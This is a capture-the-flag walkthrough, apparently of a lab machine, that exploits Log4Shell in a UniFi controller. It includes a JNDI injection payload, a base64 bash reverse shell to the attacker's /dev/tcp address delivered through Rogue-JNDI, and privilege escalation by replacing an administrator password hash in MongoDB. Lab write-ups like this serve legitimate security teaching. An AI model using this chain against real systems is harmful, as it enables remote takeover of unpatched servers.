Port scan first. Exchange ip with your machines IP address!
nmap -sC -sV -v ip
Relevant output:
Discovered open port 8080/tcp on 10.129.96.149 Discovered open port 22/tcp on 10.129.96.149 Discovered open port 8443/tcp on 10.129.96.149 Discovered open port 6789/tcp on 10.129.96.149
Opening the website with its IP address only does not work. You need to add the port :8443:
https://ip:8443
UniFi 6.4.54, which is running on this system, is vulnerable (Log4J). So we will try to exploit that. To do this, we will use a tool called FoxyProxy, make a POST request to /api/login and intercept the request with BurpSuite. Then we will edit the request and inject commands. Let's start up BurpSuite (I'm using Kali Linux):
burpsuite
In BurpSuite, we will enable intercepting by opening the tab Proxy/Intercept and making sure, the button says "Intercept is on". In Firefox, make sure that in Settings/Proxy, the "Manual proxy configuration" is enabled and the HTTP Proxy field is set to 127.0.0.1. The Port should be set to 8080 and a check mark should be set for "Also use this proxy for HTTPS".
When refreshing the target website now, BurpSuite should catch the request.
We will try the credentials
Username: test Password: test
And catch the request with BurpSuite. Press ctrl + r to send the request to the Repeater in BurpSuite. Now get your ip address:
ifconfig tun0 // select the inet one
Then this is the command to paste into the intercepted request. Instead of
{"username":"test","password":"test","remember":false,"strict":true}
It should be now (paste the tun0 inet ip for ip):
{"username":"test","password":"test","remember":"${jndi:ldap://ip/whatever}","strict":true}
Then in BurpSuite, switch to the Repeater tab and click "Send".
Relevant response:
{"meta":{"rc":"error","msg":"api.err.InvalidPayload"},"data":[]}
From this we learn that even if the payload is invalid, the payload is still being executed! Now we will use tcpdump to monitor traffic for LDAP (Lightweight Directory Access Protocol) connections. Open a new terminal:
sudo tcpdump -i tun0 port 389
Then navigate back to BurpSuite and hit "Send" again. We see that our machine receives an incoming connection via the LDAP port 389
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes 13:14:52.657397 IP 10.129.96.149.57586 > 10.10.14.198.ldap: Flags [S], seq 3360553977, win 64240, options [mss 1340,sackOK,TS val 359429455 ecr 0,nop,wscale 7], length 0 13:14:52.657415 IP 10.10.14.198.ldap > 10.129.96.149.57586: Flags [R.], seq 0, ack 3360553978, win 0, length 0
Now we will build a payload with Open-JDK and Maven. This payload will be sent to the server and give us remote code execution.
sudo apt install openjdk-11-jdk -y sudo apt-get install maven
Now we will download and build a Java application called Rogue-JNDI.
git clone https://github.com/veracode-research/rogue-jndi cd rogue-jndi mvn package
This will build us a file called Rogue.Jndi-1.1.jar inside the /rogue-jndi/target directory. It should say BUILD SUCCESS.
Then we can build the payload. Please exchange ip with your tun0 inet IP address.
echo 'bash -c bash -i >&/dev/tcp/ip/4444 0>&1' | base64
The output/payload is a base64 string which is displayed in the terminal. Now we will start Rogue-JNDI and pass our payload. Please paste your string in exchange for "base64string" and exchange ip with your tun0 inet address.
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,base64string}|{base64,-d}|{bash,-i}" --hostname "ip"
Time for a new terminal window with Ncat listening on port 4444.
nc -lvp 4444
Then, in BurpSuite, modify the request to (ip should be your tun0 inet address):
{"username":"test","password":"test","remember":"${jndi:ldap://ip:1389/o=tomcat}","strict":true}
And click "Send". In the Ncat terminal we get:
10.129.96.149: inverse host lookup failed: Unknown host connect to [10.10.14.198] from (UNKNOWN) [10.129.96.149] 50774
And in our RogueJndi terminal:
Sending LDAP ResourceRef result for o=tomcat with javax.el.ELProcessor payload
So it worked! In the Ncat terminal run:
script /dev/null -c bash
Output:
Script started, file is /dev/null unifi@unified:/usr/lib/unifi$
Get the user flag:
cd /home/michael cat user.txt 6ced1a6a89e666c0620cdb10262ba127
Time for privilege escalation. We will check if MongoDB is running on the server and if we can extract credentials from the database:
ps aux | grep mongo
Yes, MongoDB is running on port 27117! Let's try to find default data in it:
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
Relevant output:
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"), "name" : "administrator", "email" : "administrator@unified.htb", "x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.",
We got the login name and password hash! Instead of cracking the available hash, we will exchange it with our own created password hash. In another terminal window, run
mkpasswd -m sha-512 mypassword
Will output something like:
$6$6i8kY9DGnHfM/j0E$bTjTf.AgJHx2XqkCqobtJtMaHHx4lST6de4gvyLXaJgsfxpNjHg39DEAaOsCNwW6dydKdUrNdKmRbDOPKhKyd/
Now we will replace the current hash for the administrator with our own.
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$6i8kY9DGnHfM/j0E$bTjTf.AgJHx2XqkCqobtJtMaHHx4lST6de4gvyLXaJgsfxpNjHg39DEAaOsCNwW6dydKdUrNdKmRbDOPKhKyd/"}})'
Relevant output:
WriteResult({ "nMatched" : 1, "nUpserted" : 0, "nModified" : 1 })
On the website, we can now log in with:
Username: administrator Password: mypassword
If the website is not responding, turn off intercepting in BurpSuite. Once the website loaded, click on Settings/Site and scroll down to DEVICE AUTHENTICATION. Here we can display the ssh root password in clear text by clicking on the eye symbol inside the Password field (NotACrackablePassword4U2022). So let's SSH into the machine as root Exchange ip with your machines IP address!
ssh root@ip Password: NotACrackablePassword4U2022
Get the flag:
cat root.txt